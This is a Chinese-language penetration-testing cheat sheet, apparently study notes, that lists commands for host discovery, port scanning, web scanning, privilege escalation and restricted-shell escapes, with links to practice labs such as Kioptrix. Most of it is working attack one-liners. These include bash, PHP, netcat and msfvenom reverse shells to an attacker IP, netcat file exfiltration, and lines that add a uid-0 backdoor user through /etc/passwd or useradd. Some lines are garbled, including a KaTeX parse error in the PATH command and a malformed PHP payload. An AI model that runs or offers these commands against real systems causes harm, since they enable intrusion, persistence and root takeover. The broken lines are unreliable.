【阶段总结】20201113
信息收集
存活主机探测
- nmap -sn 192.168.1.10/24
- netdiscover -r 192.168.1.0/24 或 netdiscover -i eth0 或 netdiscover -i eth0 192.168.10/24
端口扫描
- nmap -sS -A -T5 -p- 192.168.1.1 #-p-是进行全端口扫描,-sS是用TCP SYN方式,-A扫描目标的服务信息和操作系统信息,-T5是扫描速率。
- nc -vnz 192.168.1.1 21-100 #TCP端口扫描,扫描192.168.1.1的TCP21到100端口,
- nc –vzu 192.168.1.1 161 #UDP端口扫描,扫描192.168.1.11的UDP161端口
- nc 192.168.1.105 21 #获取FTP banners
- nc 192.168.1.105 22 #获取SSH banners
网站扫描
- dirsearch -u http://URL -e php,txt,asp,html 或dirsearch -u http://URL -E #扫描网站目录
- printf “GET / HTTP/1.0\r\n\r\n” | nc 192.168.1.105 80 #扫描HTTP banner
漏洞扫描
- nikto -host 192.168.1.1/www.example.com #漏洞扫描
漏洞利用
- exploit-db.com #搜索exp的网站
反弹shell
Linux
- BASH:bash -i >& /dev/tcp/192.168.1.7/1111 0>&1
- PHP:php -r ‘$sock=fsockopen(“IP”,PORT);exec("/bin/sh -i <&3 >&3 2>&#");’
- msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.109 lport=6666 R #执行后,会生产一条命令,需要在靶机上执行。然后攻击机上运行nc -lvp PORT监听。
- mknod /tmp/backpipe p #在目标靶机上创建backpipe
- /bin/sh 0</tmp/backpipe | nc 192.168.1.109 443 1>/tmp/backpipe #在目标靶机上执行,创建netcat会话。
Windows
nc.exe 192.168.1.109 4444 -e cmd.exe #执行建立nc连接。
回连监听
- nc -lvp 1234 #监听1234端口。结合反弹shell使用。
webshell
中国蚁剑项目脚本分享:https://github.com/AntSwordProject/AwesomeScript
本地信息收集
- uname -a #获取操作系统信息
- lsb_release -a #获取操作系统release信息。
- sudo -l #查看以root权限可以执行哪些命令。
- find / -perm -u=s -type f 2>/dev/null 或find / -perm -4000 2>/dev/null #查找具有SUID权限的文件。
- echo $SHELL #查看当前所用的shell环境。
- env或printenv #查看环境变量。
文件传输
- simpleHTTPserver:python -m SimpleHTTPServer 8000,8000是网站所用端口,执行命令所在路径即网站根目录。
- nc –lvp 5555 < file.txt #发文件
- nc 192.168.1.109 5555 > file.txt #收文件
下载
- wget http://IP:PORT/filename
文件编译
- gcc -o 编译后文件名 编译前文件名 -lcrypto #编译文件
提权
- 利用提权exp。
- echo “test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash” >>/etc/passwd #test/password@123,需要root权限。
- useradd -p ‘openssl passwd -1 -salt ‘user’ 123qwe’ -u 0 -o -g root -G root -s /bin/bash -d /home/user venus #需要root权限。
受限shell绕过
系统环境信息收集
- 检查环境变量,env或envprint
- 检查shell环境,echo $SHELL
- 检查以root权限,可以执行哪些命令,sudo -l
- 检查是否有SUID文件可以利用。
绕过技巧
-
进入vim,输入‘:’,进入命令模式,输入set shell=/bin/bash,再输入shell,若成功则可执行/bin/bash命令。
-
添加环境变量,export PATH=KaTeX parse error: Expected 'EOF', got '#' at position 18: …TH:/usr/bin #̲加上PATH,把原有的path之后加上/usr/bin,而不是覆盖。
-
利用Python、perl、ruby、PHP等编程语言调用系统模块执行指定shell环境。
使用 except > except spawn sh,然后执行sh
使用 python > python -c ‘import os; os.system("/bin/sh")’
Python OS模块,python -c ‘import os;os.system("/bin/bash");’
Python pty模块,python -c ‘import pty;pty.spawn("/bin/bash");’
使用 php > php -a ,然后执行 exec(“sh -i”);
使用 perl > perl -e ‘exec “/bin/sh”;’
使用 lua > os.execute(’/bin/sh’).
使用 ruby > exec “/bin/sh” -
运行/bin/sh或/bin/bash,切换shell环境。
-
利用cp命令复制/bin/sh或/bin/bash到当前目录。
-
进入gdb,输入 !/bin/sh 或者 !/bin/bash
-
使用 awk > awk ‘BEGIN {system("/bin/sh 或者 /bin/bash")}’
-
使用 pico > pico -s “/bin/bash” ,然后就可以对 /bin/bash 执行写操作,最后执行 CTRL + T
-
使用 tar > tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
-
以下是网上找到的其他方法,暂时没环境测试的,先做记录。
使用 ftp > !/bin/sh 或者 !/bin/bash
使用 more/man/less > !/bin/sh 或者 !/bin/bash
使用 rvim > :python import os; os.system("/bin/bash )
使用 scp > scp -S /path/yourscript x y:
使用 find > find / -name test -exec /bin/sh 或者 /bin/bash ;
使用 ssh > ssh username@IP - t “/bin/sh” 或者 “/bin/bash”
使用 ssh2 > ssh username@IP -t “bash --noprofile”
使用 ssh3 > ssh username@IP -t “() { :; }; /bin/bash” (shellshock)
使用 ssh4 > ssh -o ProxyCommand=“sh -c /tmp/yourfile.sh” 127.0.0.1 (SUID)
使用 git > git help status > ,然后就可以运行 !/bin/bash了
使用 zip > zip /tmp/test.zip /tmp/test -T --unzip-command=“sh -c /bin/bash”
练习
- 受限shell绕过:https://www.root-me.org/en/Challenges/App-Script/Bash-Restricted-shells?q=%2Fen%2FChallenges%2FApp-Script%2FRestricted-shells&lang=en
- kioptrix level 1:https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
- kioptrix level 2:https://www.vulnhub.com/entry/kioptrix-level-11-2,23/
- kioptrix level 3:https://www.vulnhub.com/entry/kioptrix-level-12-3,24/
- kioptrix level 4:https://www.vulnhub.com/entry/kioptrix-level-13-4,25/
- kioptrix level 5:https://www.vulnhub.com/entry/kioptrix-2014-5,62/